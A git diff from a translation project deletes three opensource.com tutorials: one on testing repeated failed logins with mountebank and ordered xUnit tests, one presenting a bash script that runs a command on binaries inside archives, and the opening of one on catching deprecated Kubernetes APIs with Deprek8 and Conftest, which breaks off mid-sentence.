this additional service's endpoint; in this case, **/api/v1/users/login**. - -What do you do if the service you're dependent on hasn't been built yet? This scenario creates a blockage. In the previous post, I explored how to remove that blockage by using service virtualization enabled by [mountebank][3], a powerful test environment. - -This article walks through the steps required to enable the processing of user authentication in cases when a user repeatedly attempts to log in. The third-party authentication service allows only three attempts to log in, after which it ceases to service the HTTP request arriving from the offending domain. - -### How to simulate repeat requests - -Mountebank makes it very easy to simulate a service that listens on a network port, matches the method and the path defined in the request, then handles it by sending back an HTTP response. To follow along, be sure to get mountebank running as we [did in the previous article][2]. As I explained there, these values are declared as JSONs that are posted to ****, mountebank's endpoint for processing authentication requests. - -But the challenge now is how to simulate the scenario when the HTTP request keeps hitting the same endpoint from the same domain. This is necessary to simulate a user who submits invalid credentials (username and password), is informed they are invalid, tries different credentials, and is repeatedly rejected (or foolishly attempts to log in with the same credentials that failed on previous attempts). Eventually (in this case, after a third failed attempt), the user is barred from additional tries. - -Writing executable code to simulate such a scenario would have to model very elaborate processing. However, when using mountebank, this type of simulated processing is extremely simple to accomplish. It is done by creating a rolling buffer of responses, and mountebank responds in the order the buffer was created. Here is an example of one way to simulate repeat requests in mountebank: - - -``` -{ -    "port": 3001, -    "protocol": "http", -    "name": "authentication imposter", -    "stubs": [ -        { -            "predicates": [ -                { -                    "equals": { -                        "method": "post", -                        "path": "/api/v1/users/login" -                    } -                } -            ], -            "responses": [ -                { -                    "is": { -                        "statusCode": 200, -                        "body": "Successfully logged in." -                    } -                }, -                { -                    "is": { -                        "statusCode": 400, -                        "body": "Incorrect login. You have 2 more attempts left." -                    } -                }, -                { -                    "is": { -                        "statusCode": 400, -                        "body": "Incorrect login. You have 1 more attempt left." -                    } -                }, -                { -                    "is": { -                        "statusCode": 400, -                        "body": "Incorrect login. You have no more attempts left." -                    } -                } -            ] -        } -    ] -} -``` - -The rolling buffer is simply an unlimited collection of JSON responses where each response is represented with two key-value pairs: **statusCode** and **body**. In this case, four responses are defined. The first response is the happy path (i.e., user successfully logged in), and the remaining three responses represent failed use cases (i.e., wrong credentials result in status code 400 and corresponding error messages). - -### How to test repeat requests - -Modify the tests as follows: - - -``` -using System; -using Xunit; -using app; -namespace tests -{ -    public class UnitTest1 -    { -        Authenticate auth = [new][4] Authenticate(); -        [Fact] -        public void SuccessfulLogin() -        { -            var given = "valid credentials"; -            var expected = " Successfully logged in."; -            var actual= auth.Login(given); -            Assert.Equal(expected, actual); -        } -        [Fact] -        public void FirstFailedLogin() -        { -            var given = "invalid credentials"; -            var expected = "Incorrect login. You have 2 more attempts left."; -            var actual = auth.Login(given); -            Assert.Equal(expected, actual); -        } -        [Fact] -        public void SecondFailedLogin() -        { -            var given = “invalid credentials"; -            var expected = "Incorrect login. You have 1 more attempt left."; -            var actual = auth.Login(given); -            Assert.Equal(expected, actual); -        } -        [Fact] -        public void ThirdFailedLogin() -        { -            var given = " invalid credentials"; -            var expected = "Incorrect login. You have no more attempts left."; -            var actual = auth.Login(given); -            Assert.Equal(expected, actual); -        } -    } -} -``` - -Now, run the tests to confirm that your code still works: - -![Failed test][5] - -Whoa! The tests now all fail. Why? - -If you take a closer look, you'll see a revealing pattern: - -![Reason for failed test][6] - -Notice that ThirdFailedLogin is executed first, followed by the SuccessfulLogin, followed by FirstFailedLogin, followed by SecondFailedLogin. What's going on here? Why is the third test running before the first test? - -The testing framework ([xUnit][7]) is executing all tests in parallel, and the sequence of execution is unpredictable. You need tests to run in order, which means you cannot test these scenarios using the vanilla xUnit toolkit. - -### How to run tests in the right sequence - -To force your tests to run in a certain sequence that you define (instead of running in an unpredictable order), you need to extend the vanilla xUnit toolkit with the NuGet [Xunit.Extensions.Ordering][8] package. Install the package on the command line with: - - -``` -`$ dotnet add package Xunit.Extensions.Ordering --version 1.4.5` -``` - -or add it to your **tests.csproj** config file: - - -``` -`` -``` - -Once that's taken care of, make some modifications to your **./tests/UnitTests1.cs** file. Add these four lines at the beginning of your **UnitTests1.cs **file: - - -``` -using Xunit.Extensions.Ordering; -[assembly: CollectionBehavior(DisableTestParallelization = true)] -[assembly: TestCaseOrderer("Xunit.Extensions.Ordering.TestCaseOrderer", "Xunit.Extensions.Ordering")] -[assembly: TestCollectionOrderer("Xunit.Extensions.Ordering.CollectionOrderer", "Xunit.Extensions.Ordering")] -``` - -Now you can specify the order you want your tests to run. Initially, simulate the happy path (i.e., the **SuccessfulLogin()**) by annotating the test with: - - -``` -[Fact, Order(1)] -public void SuccessfulLogin() { -``` - -After you test a successful login, test the first failed login: - - -``` -[Fact, Order(2)] -public void FirstFailedLogin() -``` - -And so on. You can add the order of the test runs by simply adding the **Order(x)** (where **x** denotes the order you want the test to run) annotation to your Fact. - -This annotation guarantees that your tests will run in the exact order you want them to run, and now you can (finally!) completely test your integration scenario. - -The final version of your test is: - - -``` -using System; -using Xunit; -using app; -using Xunit.Extensions.Ordering; -[assembly: CollectionBehavior(DisableTestParallelization = true)] -[assembly: TestCaseOrderer("Xunit.Extensions.Ordering.TestCaseOrderer", "Xunit.Extensions.Ordering")] -[assembly: TestCollectionOrderer("Xunit.Extensions.Ordering.CollectionOrderer", "Xunit.Extensions.Ordering")] -namespace tests -{ -    public class UnitTest1 -    { -        Authenticate auth = [new][4] Authenticate(); -        [Fact, Order(1)] -        public void SuccessfulLogin() -        { -            var given = "[elon_musk@tesla.com][9]"; -            var expected = "Successfully logged in."; -            var actual= auth.Login(given); -            Assert.Equal(expected, actual); -        } -        [Fact, Order(2)] -        public void FirstFailedLogin() -        { -            var given = "[mickey@tesla.com][10]"; -            var expected = "Incorrect login. You have 2 more attempts left."; -            var actual = auth.Login(given); -            Assert.Equal(expected, actual); -        } -        [Fact, Order(3)] -        public void SecondFailedLogin() -        { -            var given = "[mickey@tesla.com][10]"; -            var expected = "Incorrect login. You have 1 more attempt left."; -            var actual = auth.Login(given); -            Assert.Equal(expected, actual); -        } -        [Fact, Order(4)] -        public void ThirdFailedLogin() -        { -            var given = "[mickey@tesla.com][10]"; -            var expected = "Incorrect login. You have no more attempts left."; -            var actual = auth.Login(given); -            Assert.Equal(expected, actual); -        } -    } -} -``` - -Run the test again—everything passes! - -![Passing test][11] - -### What are you testing exactly? - -This article has focused on test-driven development (TDD), but let's review it from another methodology, Extreme Programming (XP). XP defines two types of tests: - - 1. Programmer tests - 2. Customer tests - - - -So far, in this series of articles on TDD, I have focused on the first type of tests (i.e., programmer tests). In this and the previous article, I switched my lenses to examine the most efficient ways of doing customer tests. - -The important point is that programmer (or producer) tests are focused on precision work. We often refer to these precision tests as "micro tests," while others may call them "unit tests." Customer tests, on the other hand, are more focused on a bigger picture; we sometimes refer to them as "approximation tests" or "end-to-end tests." - -### Conclusion - -This article demonstrated how to write a suite of approximation tests that integrate several discrete steps and ensure that the code can handle all edge cases, including simulating the customer experience when repeatedly attempting to log in and failing to obtain the necessary clearance. This combination of TDD and tools like xUnit and mountebank can lead to well-tested and thus more reliable application development. - -In future articles, I'll look into other usages of mountebank for writing customer (or approximation) tests. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/3/failed-authentication-attempts-tdd - -作者:[Alex Bunardzic][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/alex-bunardzic -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/programming_keyboard_coding.png?itok=E0Vvam7A (Programming keyboard.) -[2]: https://opensource.com/article/20/3/service-virtualization-test-driven-development -[3]: http://www.mbtest.org/ -[4]: http://www.google.com/search?q=new+msdn.microsoft.com -[5]: https://opensource.com/sites/default/files/uploads/testfails_0.png (Failed test) -[6]: https://opensource.com/sites/default/files/uploads/failurepattern.png (Reason for failed test) -[7]: https://xunit.net/ -[8]: https://www.nuget.org/packages/Xunit.Extensions.Ordering/# -[9]: mailto:elon_musk@tesla.com -[10]: mailto:mickey@tesla.com -[11]: https://opensource.com/sites/default/files/uploads/testpasses.png (Passing test) diff --git a/sources/tech/20200320 Run a command on binary files with this script.md b/sources/tech/20200320 Run a command on binary files with this script.md deleted file mode 100644 index a01e3e2ef0..0000000000 --- a/sources/tech/20200320 Run a command on binary files with this script.md +++ /dev/null @@ -1,772 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Run a command on binary files with this script) -[#]: via: (https://opensource.com/article/20/3/run-binaries-script) -[#]: author: (Nick Clifton https://opensource.com/users/nickclifton) - -Run a command on binary files with this script -====== -Try this simple script to easily run a command on binary files -regardless of their packaging. -![Binary code on a computer screen][1] - -Examining files from the command-line is generally an easy thing to do. You just run the command you want, followed by a list of files to be examined. Dealing with binary files, however, is more complicated. These files are often packaged up into archives, tarballs, or other packaging formats. The run-on-binaries script provides a convenient way to run a command on a collection of files, regardless of how they are packaged. - -The invocation of the script is quite simple: - - -``` -`run-on-binaries ` -``` - -So, for example: - - -``` -`run-on-binaries /usr/bin/ls foo.rpm` -``` - -will list all of the files inside the **foo.rpm** file, while: - - -``` -`run-on-binaries /usr/bin/readelf -a libc.a` -``` - -will run the **readelf** program, with the **-a** command-line option, on all of the object files inside the **libc.a library**. - -If necessary, the script can be passed a file containing a list of other files to be processed, rather than specifying them on the command line—like this: - - -``` -`run-on-binaries --files-from=foo.lst /usr/bin/ps2ascii` -``` - -This will run the **ps2ascii** script on all of the files listed in **foo.lst**. (The files just need to be separated by white space. There can be multiple files on a single line if desired). - -Also, a skip list can be provided to stop the script from processing specified files: - - -``` -`run-on-binaries --skip-list=skip.lst /usr/bin/wc *` -``` - -This will run the **wc** program on all of the files in the current directory, except for those specified in **skip.lst**. - -The script does not recurse into directories, but this can be handled by combining it with the **find** command, like this: - - -``` -`find . -type f -exec run-on-binaries @ ;` -``` - -or - - -``` -`find . -type d -exec run-on-binaries @/* ;` -``` - -The only difference between these two invocations is that the second one only runs the target program once per directory, but gives it a long command-line of all of the files in the directory. - -Though convenient, the script is lacking in several areas. Right now, it does not examine the PATH environment variable to find the command that it is asked to run, so a full path must be provided. Also, the script ought to be able to handle recursion on its own, without needing help from the find command. - -The run-on-binaries script is part of the annobin package, which is available on Fedora. The sources for annobin can also be obtained from the git repository at . - -### The script - - -``` -#!/bin/bash - -# Script to run another script/program on the executables inside a given file. -# -# Created by Nick Clifton.  <[nickc@redhat.com][2]> -# Copyright (c) 2018 Red Hat. -# -# This is free software; you can redistribute it and/or modify it -# under the terms of the GNU General Public License as published -# by the Free Software Foundation; either version 3, or (at your -# option) any later version. - -# It is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the -# GNU General Public License for more details. -# -# Usage: -#   run-on-binaries-in [options] program [options-for-the-program] file(s) -# -# This script does not handle directories.  This is deliberate. -# It is intended that if recursion is needed then it will be -# invoked from find, like this: -# -#   find . -name "*.rpm" -exec run-on-binaries-in <script-to-run> {} \; - -version=1.0 - -help () -{ -  # The following exec goop is so that we don't have to manually -  # redirect every message to stderr in this function. -  exec 4>&1    # save stdout fd to fd #4 -  exec 1>&2    # redirect stdout to stderr - -  cat <<__EOM__ - -This is a shell script to run another script/program on one or more binary -files.  If the file(s) specified are archives of some kind (including rpms) -then the script/program is run on the binary executables inside the archive. - -Usage: $prog {options} program {options-for-the-program} files(s) - -  {options} are: -  -h         --help               Display this information and then exit. -  -v         --version            Report the version number of this script. -  -V         --verbose            Report on progress. -  -q         --quiet              Do not include the script name in the output. -  -i         --ignore             Silently ignore files that are not executables or archives. -  -p=<TEXT>  --prefix=<TEXT>      Prefix normal output with this string. -  -t=<DIR>   --tmpdir=<DIR>       Temporary directory to use when opening archives. -  -f=<FILE>  --files-from=<FILE>  Process files listed in <FILE>. -  -s=<FILE>  --skip-list=<FILE>   Skip any file listed in <FILE>. -  --                              Stop accumulating options. - -Examples: - -  $prog hardened foo.rpm -                              Runs the hardened script on the executable -                              files inside foo.rpm. - -  $prog check-abi -v fred.tar.xz -                              Runs the check-abi script on the decompressed -                              contents of the fred.tar.xz archive, passing the -                              -v option to check-abi as it does so.       - -  $prog -V -f=list.txt readelf -a -                              Runs the readelf program, with the -a option on -                              every file listed in the list.txt.  Describes -                              what is being done as it works. - -  $prog -v -- -fred -a jim -b bert -- -c harry -                              Runs the script "-fred" on the files jim, bert, -                              "-c" and harry.  Passes the options "-a" and -                              "-b" to the script (even when run on jim). -                              Reports the version of this script as well. - -__EOM__ -  exec 1>&4   # Copy stdout fd back from temporary save fd, #4 -} - -main () -{ -    init -    -    parse_args ${1+"$@"} - -    if [ $failed -eq 0 ]; -    then -        run_script_on_files -    fi - -    if [ $failed -ne 0 ]; -    then -        exit 1 -    else -        exit 0 -    fi -} - -report () -{ -    if [ $quiet -eq 0 ]; -    then -        echo -n $prog": " -    fi -    -    echo ${1+"$@"} -} - -ice () -{ -    report "Internal error: " ${1+"$@"} -    exit 1 -} - -fail () -{ -    report "Failure:" ${1+"$@"} -    failed=1 -} - -verbose () -{ -    if [ $verbose -ne 0 ] -    then -        report ${1+"$@"} -    fi -} - -# Initialise global variables. -init () -{ -    files[0]="";   -    # num_files is the number of files to be scanned. -    # files[0] is the script to run on the files. -    num_files=0; - -    script="" -    script_opts=""; - -    prog_opts="-i" - -    tmpdir=/dev/shm -    prefix=""     -    files_from="" -    skip_list="" - -    failed=0 -    verbose=0 -    ignore=0 -    quiet=0 -} - -# Parse our command line -parse_args () -{ -    abs_prog=$0; -    prog=`basename $abs_prog`; - -    # Locate any additional command line switches -    # Likewise accumulate non-switches to the files list. -    while [ $# -gt 0 ] -    do -        optname="`echo $1 | sed 's,=.*,,'`" -        optarg="`echo $1 | sed 's,^[^=]*=,,'`" -        case "$optname" in -            -v | --version) -                report "version: $version" -                ;; -            -h | --help) -                help -                exit 0 -                ;; -            -q | --quiet) -                quiet=1; -                prog_opts="$prog_opts -q" -                ;; -            -V | --verbose) -                if [ $verbose -eq 1 ]; -                then -                    # This has the effect of cancelling out the prog_opts="-i" -                    # in the init function, so that recursive invocations of this -                    # script will complain about unrecognised file types. -                    if [ $quiet -eq 0 ]; -                    then -                        prog_opts="-V -V" -                    else -                        prog_opts="-V -V -q" -                    fi -                else -                    verbose=1; -                    prog_opts="$prog_opts -V" -                fi -                ;; -            -i | --ignore) -                ignore=1 -                ;; -            -t | --tmpdir) -                if test "x$optarg" = "x$optname" ; -                then -                    shift -                    if [ $# -eq 0 ] -                    then -                        fail "$optname needs a directory name" -                    else -                        tmpdir=$1 -                    fi -                else -                    tmpdir="$optarg" -                fi -                ;; -            -p | --prefix) -                if test "x$optarg" = "x$optname" ; -                then -                    shift -                    if [ $# -eq 0 ] -                    then -                        fail "$optname needs a string argument" -                    else -                        prefix=$1 -                    fi -                else -                    prefix="$optarg" -                fi -                ;; -            -f | --files_from) -                if test "x$optarg" = "x$optname" ; -                then -                    shift -                    if [ $# -eq 0 ] -                    then -                        fail "$optname needs a file name" -                    else -                        files_from=$1 -                    fi -                else -                    files_from="$optarg" -                fi -                ;; -            -            -s | --skip-list) -                if test "x$optarg" = "x$optname" ; -                then -                    shift -                    if [ $# -eq 0 ] -                    then -                        fail "$optname needs a file name" -                    else -                        skip_list=$1 -                    fi -                else -                    skip_list="$optarg" -                fi -                ;; -            -            --) -                shift -                break; -                ;; -            --*) -                fail "unrecognised option: $1" -                help -                ;; -            *) -                script="$1"; -                if ! [ -a "$script" ] -                then -                    fail "$script: program/script not found" -                elif  ! [ -x "$script" ] -                then -                    fail "$script: program/script not executable" -                fi -                # After we have seen the first non-option we stop -                # accumulating options for this script and instead -                # start accumulating options for the script to be -                # run. -                shift -                break; -                ;; -        esac -        shift -    done - -    # Read in the contents of the --file-from list, if specified. -    if test "x$files_from" != "x" ; -    then -        if ! [ -a "$files_from" ] -        then -            fail "$files_from: file not found" -        elif ! [ -r "$files_from" ] -        then -            fail "$files_from: file not readable" -        else -            eval 'files=($(cat $files_from))' -            num_files=${#files[*]} -        fi -    fi -    skip_files[foo]=bar - -    # Check that the skip list exists, if specified. -    if test "x$skip_list" != "x" ; -    then -        if ! [ -a "$skip_list" ] -        then -            fail "$skip_list: file not found" -        elif ! [ -r "$skip_list" ] -        then -            fail "$files_from: file not readable" -        fi -    fi - -    # Accumulate any remaining arguments separating out the arguments -    # for the script from the names of the files to scan. -    while [ $# -gt 0 ] -    do -        optname="`echo $1 | sed 's,=.*,,'`" -        optarg="`echo $1 | sed 's,^[^=]*=,,'`" -        case "$optname" in -            --) -                shift -                break; -                ;; -            -*) -                script_opts="$script_opts $1" -                ;; -            *) -                files[$num_files]="$1"; -                let "num_files++" -                ;; -        esac -        shift -    done - -    # Accumulate any remaining arguments without processing them. -    while [ $# -gt 0 ] -    do -        files[$num_files]="$1"; -        let "num_files++"; -        shift -    done - -    if [ $num_files -gt 0 ]; -    then -        # Remember that we are counting from zero not one. -        let "num_files--" -    else -        fail "Must specify a program/script and at least one file to scan." -    fi -} - -run_script_on_files () -{ -    local i - -    i=0; -    while [ $i -le $num_files ] -    do -        run_on_file i -        let "i++" -    done -} - -# syntax: run <command> [<args>] -#  If being verbose report the command being run, and -#   the directory in which it is run. -run () -{ -  local where - -  if test "x$1" = "x" ; -  then -    fail "run() called without an argument." -  fi - -  verbose "  Running: ${1+$@}" - -  ${1+$@} -} - -decompress () -{ -    local abs_file decompressor decomp_args orig_file base_file - -    # Paranoia checks - the user should never encounter these. -    if test "x$4" = "x" ; -    then -        ice "decompress called with too few arguments" -    fi -    if test "x$5" != "x" ; -    then -        ice "decompress called with too many arguments" -    fi - -    abs_file=$1 -    decompressor=$2 -    decomp_args=$3 -    orig_file=$4 - -    base_file=`basename $abs_file` - -    run cp $abs_file $base_file -    run $decompressor $decomp_args $base_file -    if [ $? != 0 ]; -    then -        fail "$orig_file: Unable to decompress" -    fi - -    rm -f $base_file -} - -run_on_file () -{ -    local file - -    # Paranoia checks - the user should never encounter these. -    if test "x$1" = "x" ; -    then -        ice "scan_file called without an argument" -    fi -    if test "x$2" != "x" ; -    then -        ice "scan_file called with too many arguments" -    fi - -    # Use quotes when accessing files in order to preserve -    # any spaces that might be in the directory name. -    file="${files[$1]}"; - -    # Catch names that start with a dash - they might confuse readelf -    if test "x${file:0:1}" = "x-" ; -    then -        file="./$file" -    fi - -    # See if we should skip this file. -    if test "x$skip_list" != "x" ; -    then -        # This regexp looks for $file being the first text on a line, either -        # on its own, or with additional text separated from it by at least -        # one space character.  So searching for "fred" in the following gives: -        #  fr         <\- no match -        #  fred       <\- match -        #  fredjim    <\- no match -        #  fred bert  <\- match -        regexp="^$file[^[:graph:]]*" -        grep --silent --regexp="$regexp" $skip_list -        if [ $? = 0 ]; -        then -            verbose "$file: skipping" -            return -        fi -    fi - -    # Check the file. -    if ! [ -a "$file" ] -    then -        fail "$file: file not found" -        return -    elif ! [ -r "$file" ] -    then -        if [ $ignore -eq 0 ]; -        then -            fail "$file: not readable" -        fi -        return -    elif [ -d "$file" ] -    then -        if [ $ignore -eq 0 ]; -        then -            if [ $num_files -gt 1 ]; -            then -                verbose "$file: skipping - it is a directory" -            else -                report "$file: skipping - it is a directory" -            fi -        fi -        return -    elif ! [ -f "$file" ] -    then -        if [ $ignore -eq 0 ]; -        then -            fail "$file: not an ordinary file" -        fi -        return -    fi - -    file_type=`file -b $file` -    case "$file_type" in -        *"ELF "*) -            verbose "$file: ELF format - running script/program" -            if test "x$prefix" != "x" ; -            then -                report "$prefix:" -            fi -            run $script $script_opts $file -            return -            ;; -        "RPM "*) -            verbose "$file: RPM format." -            ;; -        *" cpio "*) -            verbose "$file: CPIO format." -            ;; -        *"tar "*) -            verbose "$file: TAR archive." -            ;; -        *"Zip archive"*) -            verbose "$file: ZIP archive." -            ;; -        *"ar archive"*) -            verbose "$file: AR archive." -            ;; -        *"bzip2 compressed data"*) -            verbose "$file: contains bzip2 compressed data" -            ;; -        *"gzip compressed data"*) -            verbose "$file: contains gzip compressed data" -            ;; -        *"lzip compressed data"*) -            verbose "$file: contains lzip compressed data" -            ;; -        *"XZ compressed data"*) -            verbose "$file: contains xz compressed data" -            ;; -        *"shell script"* | *"ASCII text"*) -            if [ $ignore -eq 0 ]; -            then -                fail "$file: test/scripts cannot be scanned." -            fi -            return -            ;; -        *"symbolic link"*) -            if [ $ignore -eq 0 ]; -            then -                # FIXME: We ought to be able to follow symbolic links -                fail "$file: symbolic links are not followed." -            fi -            return -            ;; -        *) -            if [ $ignore -eq 0 ]; -            then -                fail "$file: Unsupported file type: $file_type" -            fi -            return -            ;; -    esac -    -    # We now know that we will need a temporary directory -    # so create one, and create paths to the file and scripts. -    if test "x${file:0:1}" = "x/" ; -    then -        abs_file=$file -    else -        abs_file="$PWD/$file" -    fi -    -    if test "x${abs_prog:0:1}" != "x/" ; -    then -        abs_prog="$PWD/$abs_prog" -    fi - -    if test "x${script:0:1}" = "x/" ; -    then -        abs_script=$script -    else -        abs_script="$PWD/$script" -    fi -    -    tmp_root=$tmpdir/delme.run.on.binary -    run mkdir -p "$tmp_root/$file" - -    verbose "  Changing to directory: $tmp_root/$file" -    pushd "$tmp_root/$file" > /dev/null -    if [ $? != 0 ]; -    then -        fail "Unable to change to temporary directory: $tmp_root/$file" -        return -    fi -                          -    # Run the file type switch again, although this time we do not need to -    # check for unrecognised types.  (But we do, just in case...) -    # Note since are transforming the file we re-invoke the run-on-binaries -    # script on the decoded contents.  This allows for archives that contain -    # other archives, and so on.  We normally pass the -i option to the -    # invoked script so that it will not complain about unrecognised files in -    # the decoded archive, although we do not do this when running in very -    # verbose mode.  We also pass an extended -t option to ensure that any -    # sub-archives are extracted into a unique directory tree. - -    case "$file_type" in -        "RPM "*) -            # The output redirect confuses the run function... -            verbose "  Running: rpm2cpio $abs_file > delme.cpio" -            rpm2cpio $abs_file > delme.cpio -            if [ $? != 0 ]; -            then -                fail "$file: Unable to extract from rpm archive" -            else -                # Save time - run cpio now. -                run cpio --quiet --extract --make-directories --file delme.cpio -                if [ $? != 0 ]; -                then -                    fail "$file: Unable to extract files from cpio archive" -                fi -                run rm -f delme.cpio -            fi -            ;; - -        *" cpio "*) -            run cpio --quiet --extract --make-directories --file=$abs_file -            if [ $? != 0 ]; -            then -                fail "$file: Unable to extract files from cpio archive" -            fi -            ;; - -        *"tar "*) -            run tar --extract --file=$abs_file -            if [ $? != 0 ]; -            then -                fail "$file: Unable to extract files from tarball" -            fi -            ;; - -        *"ar archive"*) -            run ar x $abs_file -            if [ $? != 0 ]; -            then -                fail "$file: Unable to extract files from ar archive" -            fi -            ;; - -        *"Zip archive"*) -            decompress $abs_file unzip "-q" $file -            ;; -        *"bzip2 compressed data"*) -            decompress $abs_file bzip2 "--quiet --decompress" $file -            ;; -        *"gzip compressed data"*) -            decompress $abs_file gzip "--quiet --decompress" $file -            ;; -        *"lzip compressed data"*) -            decompress $abs_file lzip "--quiet --decompress" $file -            ;; -        *"XZ compressed data"*) -            decompress $abs_file xz "--quiet --decompress" $file -            ;; -        *) -            ice "unhandled file type: $file_type" -            ;; -     esac - -    if [ $failed -eq 0 ]; -    then -        # Now scan the file(s) created in the previous step. -        run find . -type f -execdir $abs_prog $prog_opts -t=$tmp_root/$file -p=$file $abs_script $script_opts {} + -    fi - -    verbose "  Deleting temporary directory: $tmp_root" -    rm -fr $tmp_root - -    verbose "  Return to previous directory" -    popd > /dev/null -} - -# Invoke main -main ${1+"$@"} -``` - -  - -Git has extensions for handling binary blobs such as multimedia files, so today we will learn how... - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/3/run-binaries-script - -作者:[Nick Clifton][a] -选题:[lujun9972][b] -译者:[rakino](https://github.com/rakino) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/nickclifton -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/binary_code_computer_screen.png?itok=7IzHK1nn (Binary code on a computer screen) -[2]: mailto:nickc@redhat.com diff --git a/sources/tech/20200326 How to detect outdated Kubernetes APIs.md b/sources/tech/20200326 How to detect outdated Kubernetes APIs.md deleted file mode 100644 index a45a9b2add..0000000000 --- a/sources/tech/20200326 How to detect outdated Kubernetes APIs.md +++ /dev/null @@ -1,234 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How to detect outdated Kubernetes APIs) -[#]: via: (https://opensource.com/article/20/3/deprek8) -[#]: author: (Tyler Auerbeck https://opensource.com/users/tylerauerbeck) - -How to detect outdated Kubernetes APIs -====== -Deprek8 and Conftest alert you about deprecated APIs that threaten to -slip into your codebase. -![Ship captain sailing the Kubernetes seas][1] - -Recently, deprecated APIs have been wreaking havoc on everyone's [Kubernetes][2] manifests. Why is this happening?!? It's because the objects that we've come to know and love are moving on to their new homes. And it's not like this happened overnight. Deprecation warnings have been in place for quite a few releases now. We've all just been lazy and thought the day would never come. Well, _it's here_! - -So, maybe it caught up to us this time. But we'll be prepared next time, right?!? Yeah, that's what we said last time. But what if we could put something in place that makes sure that this doesn't happen? - -### What is Deprek8? - -[Deprek8][3] is a set of [Open Policy Agent][4] (OPA) policies that allow you to check your repository for deprecated API versions. These policies offer a way to provide warnings and errors when something is in the process of being or has already been deprecated. But **Deprek8** is just a set of policies that define what to watch for. How do you actually actively use these policies in order to monitor for deprecations? - -There are a number of ways and tools that can do this; one way is to use the OPA Deprek8 policy. - -### What is the OPA Deprek8 policy? - -OPA is "an open source, general-purpose policy engine that enables unified, context-aware policy enforcement." In other words, OPA provides a means of establishing and enforcing a set of policies based upon a policy file. The policies are defined in a file (or set of files) using the [Rego query language][5]. This use case won't necessarily rely on the OPA application, but more specifically, it uses this query language to do the heavy lifting. By using Rego, you can check whether various manifests match certain criteria and then either warn or error them out based on your definition. For example, in Kubernetes 1.16, the Deployment object can no longer be served from the **extensions/v1beta1 apiVersion**. So in your .rego file, you could have something like: - - -``` -_deny = msg { -  resources := ["Deployment"] -  input.apiVersion == "extensions/v1beta1" -  input.kind == resources[_] -  msg := sprintf("%s/%s: API extensions/v1beta1 for %s is no longer served by default, use apps/v1 instead.", [input.kind, input.metadata.name, input.kind]) -} -``` - -This would alert that you have a deprecated manifest and print a message like: - -> Deployment/myDeployment: API extensions/v1beta1 for Deployment is no longer served by default, use apps/v1 instead. - -That's great! This is exactly what you need in order to avoid having old manifests lying around. But these are just the policies; you need something that will check these policies and put them into action. - -### Conftest - -This is where [Conftest][6] comes in. Conftest is a utility that allows you to put Rego policies into action against any number of configuration files. According to the repo, Conftest currently supports: - - -``` - - YAML - - JSON - - INI - - TOML - - HOCON - - HCL - - CUE - - Dockerfile - - HCL2 (Experimental) - - EDN - - VCL - - XML -``` - -It has some fairly strict defaults (i.e., expecting policy files to be in certain locations), but they can be overridden with the appropriate flags if you have a layout that you prefer. If you want to know more about those specifics, please consult the [documentation][7] in the repository. - -For example, you can run any policy file on Conftest with a command like: - - -``` -`helm template --set podSecurityPolicy.enabled=true --set server.ingress.enabled=true . | conftest -p mypolicy.rego -` -``` - -This would generate the appropriate output from a Helm template and pipe it directly to the Conftest utility. Conftest inspects that output against any policies defined in the **mypolicy.rego** file and then gives any appropriate warnings or errors for objects that match against those policies. You can, of course, swap out any templating tooling of your choice, or you can feed specific files directly to the Conftest tool. - -So now you have the tools to set your policies and enforce them against your configuration files. But how do you tie these two things together? Better yet: How do you automate this process to continuously monitor the codebase to make sure you never fall behind the deprecation line again? - -### Using Git to run checks - -There are many methods and tools to run checks against code. By adding similar steps to your continuous integration (CI) tooling (e.g., Jenkins, Tekton, etc.), you can accomplish the same goal. In this very basic use case, I used [GitHub Actions][8], a new feature of GitHub repositories. - -GitHub Actions allows you to automate your entire workflow, so you don't have to sit in front of your keyboard and hack all of this together. With Actions, you can string together any number of steps into a workflow (or multiple workflows) by either rolling your own Actions if you're doing something custom or, in most cases, using something that already exists in the [Marketplace][9]. Luckily, others have provided Actions to do the things you need to do for this example, so you can lean on the community's expertise to pull your workflow together. - -As described in the steps above, the workflow looks something like: - - 1. Retrieve the Deprek8 policy you need and store it somewhere for later use. - 2. Run Conftest against the appropriate files/charts with the policy file you grabbed in step 1. - - - -What does this boil down to? Well, all you really need to do is to use curl to pull your policy file and then run it through Conftest after pointing to your code, using the [curl][10] and [Conftest][11] Actions. Since these Actions already exist, you don't need to write any custom code! And as I'm sure you can tell by the names, they allow you to run the associated commands without having to do any custom work to pre-process anything or pull down any binaries. - -Now that you have the Actions you need to use, how do you pull them together? This is where your workflow comes into play. While Actions are the pieces of code that get things done, they're useless without a way to string them together so that they can be triggered by some event. A GitHub Action workflow will look something like this: - - -``` -name: Some Awesome Workflow Name -on: An Event That Triggers Our Workflow -jobs: -  awesome-job-name: -    runs-on: ubuntu-latest -    steps: -      - uses: actions/checkout@master -      - name: awesome-step-name -        uses: someorg/someaction@version -        with: -          args: some args that I might pass to someaction -``` - -Now you have a workflow that has multiple steps, can be triggered by a specific GitHub event, and can be passed a set of parameters (if that is applicable to that specific Action). This example is _extremely basic_. But luckily, the workflow you're trying to put together is equally simple. This shouldn't be taken as a comprehensive example of a GitHub Action, as there are many more complicated (and elegant) things you can do. If you're interested in learning more, take a look at the [GitHub Actions documentation][12]. - -Now that you have an idea of what a workflow looks like and know what Actions you're interested in using, take a run at plugging the two together. For this example, you want to make sure that whenever your code is 